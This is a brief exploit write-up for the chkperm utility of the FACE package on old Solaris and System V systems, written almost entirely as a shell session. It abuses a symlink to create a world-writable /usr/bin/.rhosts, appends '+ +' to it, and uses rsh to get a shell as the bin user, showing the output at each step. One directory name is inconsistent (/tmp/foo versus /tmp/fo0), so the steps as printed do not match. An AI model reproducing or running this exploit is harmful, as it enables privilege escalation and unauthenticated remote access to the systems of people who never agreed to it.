Exploit for/usr/vmsys/bin/chkperm (gets uid/gid = 2 (bin))

Platform: Solaris 2.4, 2.5, 2.5.1, other System V derived
          systems with the FACE package installed

% mkdir /tmp/foo
% mkdir /tmp/fo0/lib
% chmod -R 777 /tmp/fo0
% setenv VMSYS /tmp/fo0
% umask 0000
% ln -s /usr/bin/.rhosts /tmp/fo0/lib/.facerc
% /usr/vmsys/bin/chkperm -l -u fo0
% ls -l /usr/bin/.rhosts
-rw-rw-rw-  2 bin      bin            0 Nov 12 09:41 .rhosts
% echo "+ +" >> /usr/bin/.rhosts

% ls -l /usr/bin/.rhosts
-rw-rw-rw-  2 bin      bin            4 Nov 12 09:41 .rhosts
% rsh -l bin localhost /bin/csh -i
Warning: no access to tty; thus no job control in this shell...
% id
uid=2(bin) gid=2(bin)
